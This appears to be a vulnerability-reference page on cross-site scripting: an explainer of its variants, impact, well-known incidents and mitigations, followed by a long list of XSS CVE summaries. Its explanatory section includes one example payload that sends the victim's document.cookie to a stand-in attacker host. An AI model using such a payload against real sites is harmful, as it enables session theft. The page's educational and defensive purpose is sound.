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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 3% CVSS 5.4
MEDIUM POC This Month

WebAppick WooCommerce Product Feed 2.2.18 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD Exploit-DB
EPSS 0% CVSS 4.8
MEDIUM This Month

All versions up to V1.19.20.02 of ZTE OTCP product are impacted by XSS vulnerability. Rated medium severity (CVSS 4.8), this vulnerability is low attack complexity. No vendor patch available.

XSS Zte Otcp Firmware
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Ilias 5.3 before 5.3.12; 5.2 before 5.2.21 is affected by: Cross Site Scripting (XSS) - CWE-79 Type 2: Stored XSS (or Persistent). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ilias
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Frog CMS 1.1 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Frog Cms
NVD
EPSS 1% CVSS 8.8
HIGH POC This Week

An issue was discovered in the wp-code-highlightjs plugin through 0.6.2 for WordPress. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In MicroStrategy Web before 10.1 patch 10, stored XSS is possible in the FLTB parameter due to missing input validation. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microstrategy Web
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Premium Software CLEditor 1.4.5 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cleditor
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

ZmartZone IAM mod_auth_openidc 2.3.10.1 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mod Auth Openidc
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

index.php in Ovidentia 8.4.3 has XSS via tg=groups, tg=maildoms&idx=create&userid=0&bgrp=y, tg=delegat, tg=site&idx=create, tg=site&item=4, tg=admdir&idx=mdb&id=1, tg=notes&idx=Create,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Ovidentia
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

LayerBB 1.1.3 allows XSS via the application/commands/new.php pm_title variable, a related issue to CVE-2019-17997. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Layerbb
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

OTCMS 3.81 allows XSS via the mode parameter in an apiRun.php?mudi=autoRun request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Otcms
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

In antSword before 2.1.0, self-XSS in the database configuration leads to code execution via modules/database/asp/index.js, modules/database/custom/index.js, modules/database/index.js, or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE PHP +1
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM This Month

Adobe Experience Manager version 6.4 and ealier have a Reflected Cross-site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Adobe +1
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

Adobe Experience Manager version 6.4 and ealier have a Stored Cross-site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Adobe +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Gitea 1.7.0 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Gitea
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

index.php?c=admin&a=index in SyGuestBook A5 Version 1.2 has stored XSS via a reply to a comment. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Syguestbook A5
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

SyGuestBook A5 Version 1.2 allows stored XSS because the isValidData function in include/functions.php does not properly block XSS payloads, as demonstrated by a crafted use of the onerror attribute. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Syguestbook A5
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered on AudioCodes Mediant 500L-MSBR, 500-MBSR, M800B-MSBR and 800C-MSBR devices with firmware versions F7.20A to F7.20A.253. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mediant 500L Msbr Firmware Mediant 500 Mbsr Firmware +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Opera Mini application through 16.0.14 for iOS has a UXSS vulnerability that can be triggered by performing navigation to a javascript: URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Apple Mini
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III before 4.7.17.3 is vulnerable to stored XSS due to lack of filtration of user-supplied data in image file content. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III before 4.7.17.3 is vulnerable to reflected XSS due to lack of filtration of user-supplied data in a search query. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III before 4.7.17.3 is vulnerable to stored XSS due to lack of filtration of user-supplied data in image file names. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III before 4.7.17.1 is vulnerable to stored XSS due to lack of filtration of user-supplied data in a budget name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Stored XSS in EspoCRM before 5.6.4 allows remote attackers to execute malicious JavaScript and inject arbitrary source code into the target pages. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Espocrm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 4% CVSS 6.1
MEDIUM POC PATCH This Month

Timesheet Next Gen 1.5.3 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Timesheet Next Gen
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

In Sitecore 9.0 rev 171002, Persistent XSS exists in the Media Library and File Manager. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Experience Platform
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Sertek Xpare 3.67. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Xpare
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

In MyT 1.5.1, the User[username] parameter has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Myt
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

In MicroStrategy Web before 10.4.6, there is stored XSS in metric due to insufficient input validation. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microstrategy Web
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

tinymce 4.7.11, 4.7.12 is affected by: CWE-79: Improper Neutralization of Input During Web Page Generation. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Tinymce
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM QRadar SIEM 7.2 and 7.3 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Qradar Security Information And Event Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In HT2 Labs Learning Locker 3.15.1, it's possible to inject malicious HTML and JavaScript code into the DOM of the website via the PATH_INFO to the dashboards/ URI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Learning Locker
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Zammad GmbH Zammad 2.3.0 and earlier is affected by: Cross Site Scripting (XSS) - CWE-80. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Java Zammad
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM This Month

A Reflected Cross-site Scripting (XSS) vulnerability exists in Apache Roller. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Roller
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft Exchange Server does not properly sanitize a specially crafted web request to an affected Exchange server, aka 'Microsoft Exchange. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Exchange Server
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka 'Microsoft Office. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Enterprise Server +1
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A Cross-site Scripting (XSS) vulnerability exists when Team Foundation Server does not properly sanitize user provided input, aka 'Team Foundation Server Cross-site Scripting Vulnerability'. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Team Foundation Server Azure Devops Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

GLPI GLPI Product 9.3.1 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Privilege Escalation PHP +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

phpscriptsmall.com School College Portal with ERP Script 2.6.1 and earlier is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP School College Portal With Erp Script
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Dolibarr 6.0.4 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dolibarr Erp Crm
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenEnergyMonitor Project Emoncms 9.8.8 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Emoncms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

HexoEditor v1.1.8-beta is affected by: XSS to code execution. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Hexoeditor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability has been identified in Spectrum Power 3 (Corporate User Interface) (All versions <= v3.11), Spectrum Power 4 (Corporate User Interface) (Version v4.75), Spectrum Power 5 (Corporate. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Spectrum Power 3 Spectrum Power 4 +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Gitea 1.7.2, 1.7.3 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitea
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A reflected XSS vulnerability exists in authorization flow of OpenShift Container Platform versions: openshift-online-3, openshift-enterprise-3.4 through 3.7 and openshift-enterprise-3.9 through. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Openshift Container Platform
NVD
EPSS 2% CVSS 4.8
MEDIUM POC This Month

Multiple stored Cross-site scripting (XSS) issues in the admin panel and survey system in REDCap 8 before 8.10.20 and 9 before 9.1.2 allow an attacker to inject arbitrary malicious HTML or JavaScript. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redcap
NVD GitHub Exploit-DB
EPSS 2% CVSS 6.1
MEDIUM POC This Month

XSS exists in Ping Identity Agentless Integration Kit before 1.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Agentless Integration Kit
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

D-Link DIR-655 C devices before 3.02B05 BETA03 allow XSS, as demonstrated by the /www/ping_response.cgi ping_ipaddr parameter, the /www/ping6_response.cgi ping6_ipaddr parameter, and the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS D-Link Dir 655 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

@nuxt/devalue before 1.2.3, as used in Nuxt.js before 2.6.2, mishandles object keys, leading to XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nuxt Devalue Nuxt Js
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Zoho ManageEngine AssetExplorer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Assetexplorer
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Zoho ManageEngine AssetExplorer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Assetexplorer
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Zoho ManageEngine AssetExplorer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Assetexplorer
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Zoho ManageEngine ServiceDesk Plus 10.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Servicedesk Plus
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in the Purchase component of Zoho ManageEngine ServiceDesk Plus. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Servicedesk Plus
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Zoho ManageEngine AssetExplorer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Assetexplorer
NVD GitHub
EPSS 4% CVSS 5.4
MEDIUM POC PATCH This Month

A stored cross site scripting vulnerability in Jenkins Dependency Graph Viewer Plugin 0.13 and earlier allowed attackers able to configure jobs in Jenkins to inject arbitrary HTML and JavaScript in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jenkins Dependency Graph Viewer
NVD Exploit-DB
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

A reflected cross site scripting vulnerability in Jenkins Embeddable Build Status Plugin 2.0.1 and earlier allowed attackers inject arbitrary HTML and JavaScript into the response of this plugin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jenkins Embeddable Build Status
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Appointment Hour Booking plugin 1.1.44 for WordPress allows XSS via the E-mail field, as demonstrated by email_1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Appointment Hour Booking
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Leanote prior to version 2.6 is affected by: Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Leanote
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in static/js/trape.js in Trape through 2019-05-08 allows remote attackers to inject arbitrary web script or HTML via the country, query, or refer parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Trape
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP Information Steward, version 4.2, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Information Steward
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform (BI Workspace) (Enterprise), versions 4.1, 4.2, 4.3, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

ABAP Server and ABAP Platform (SAP Basis), versions, 7.31, 7.4, 7.5, do not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Application Server Abap +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAPUI5 and OpenUI5, before versions 1.38.39, 1.44.39, 1.52.25, 1.60.6 and 1.63.0, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Openui5
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A Cross Site Scripting (XSS) vulnerability exists in the template tag used to render message ids in Patchwork v1.1 through v2.1.x. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Patchwork
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Wikimedia MediaWiki 1.30.0 through 1.32.1 has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mediawiki Debian Linux
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in the Teclib News plugin through 1.5.2 for GLPI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS News
NVD GitHub
EPSS 3% CVSS 9.8
CRITICAL Act Now

The Yoast SEO plugin before 11.6-RC5 for WordPress does not properly restrict unfiltered HTML in term descriptions. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Yoast Seo
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

PHPWind 9.1.0 has XSS vulnerabilities in the c and m parameters of the index.php file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Phpwind
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Mailvelope prior to 3.1.0 is vulnerable to a clickjacking attack against the settings page. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mailvelope
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

KEYNTO Team Password Manager 1.5.0 allows XSS because data saved from websites is mishandled in the online vault. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hashicorp Team Password Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored XSS vulnerability in the Agent/Center component of CyberPower PowerPanel Business Edition 3.4.0 allows a privileged attacker to embed malicious JavaScript in the SNMP trap receivers form. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Powerpanel
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

iart.php in XAMPP 1.7.0 has XSS, a related issue to CVE-2008-3569. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Xampp
NVD
EPSS 1% CVSS 5.3
MEDIUM POC PATCH This Month

The field_test gem 0.3.0 for Ruby has unvalidated input. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

SQLi XSS Field Test
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Unauthenticated Stored XSS in osTicket 1.10.1 allows a remote attacker to gain admin privileges by injecting arbitrary web script or HTML via arbitrary file extension while creating a support ticket. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Osticket
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

TYPO3 8.3.0 through 8.7.26 and 9.0.0 through 9.5.7 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Typo3
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

MailEnable Enterprise Premium 10.23 was vulnerable to stored and reflected cross-site scripting (XSS) attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mailenable
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A cross-site scripting (XSS) vulnerability in noMenu() and noSubMenu() in core/navigation/MENU.php in WIKINDX prior to version 5.8.1 allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Wikindx
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Rencontre plugin before 3.1.3 for WordPress allows XSS via inc/rencontre_widget.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress PHP +1
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

A cross-site scripting (XSS) vulnerability in resource view in PayAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to inject arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS D-Link PHP +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple vulnerabilities in the RSS dashboard in the web-based management interface of Cisco Firepower Management Center (FMC) could allow an unauthenticated, remote attacker to conduct a cross-site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple vulnerabilities in the RSS dashboard in the web-based management interface of Cisco Firepower Management Center (FMC) could allow an unauthenticated, remote attacker to conduct a cross-site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 74% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

The cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Squid Debian Linux
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

In MiniCMS V1.10, stored XSS was found in mc-admin/conf.php (comment box), which can be used to get a user's cookie. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Minicms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

